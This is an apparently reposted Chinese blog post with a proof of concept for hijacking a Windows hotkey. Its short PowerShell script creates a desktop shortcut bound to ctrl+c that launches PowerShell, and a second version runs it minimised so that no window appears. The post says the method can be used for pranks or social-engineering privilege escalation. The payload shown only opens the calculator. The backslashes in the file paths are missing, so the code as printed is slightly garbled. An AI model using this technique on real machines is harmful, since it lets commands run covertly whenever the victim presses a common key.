方法非常简单,短短7行powershell创建快捷方式的代码就可以轻松搞定。
$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("desktopdesktoppayload.lnk") $Shortcut.TargetPath = "%SystemRoot%system32WindowsPowerShellv1.0powershell.exe" $Shortcut.IconLocation = "%SystemRoot%System32Shell32.dll,21" $Shortcut.hotkey = "ctrl+c" $Shortcut.Arguments = 'calc' $Shortcut.Save()
代码链接:https://gist.githubusercontent.com/jgamblin/4aa897a2cca6912eeea96a12d73d8cd6/raw/c898394b412a2b2f149cabec94aa08f8a519b0b7/calc.ps1
看一下效果:
动图
美中不足的是,上面的7行代码在按下快捷方式的时候,会先闪出一个黑框。那,不要让他弹出黑框怎么做到捏?
就加一行,让其最小化执行。
$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("desktopdesktoppayload.lnk") $Shortcut.TargetPath = "%SystemRoot%system32WindowsPowerShellv1.0powershell.exe" $Shortcut.IconLocation = "%SystemRoot%System32Shell32.dll,21" $Shortcut.hotkey = "ctrl+c" $Shortcut.WindowStyle = '7' $Shortcut.Arguments = 'calc' $Shortcut.Save()
劫持快捷键有很多利用的场景,恶搞也行,社工提权也可以做到。
本文来源于互联网:用Powershell劫持Windows系统快捷键;含POC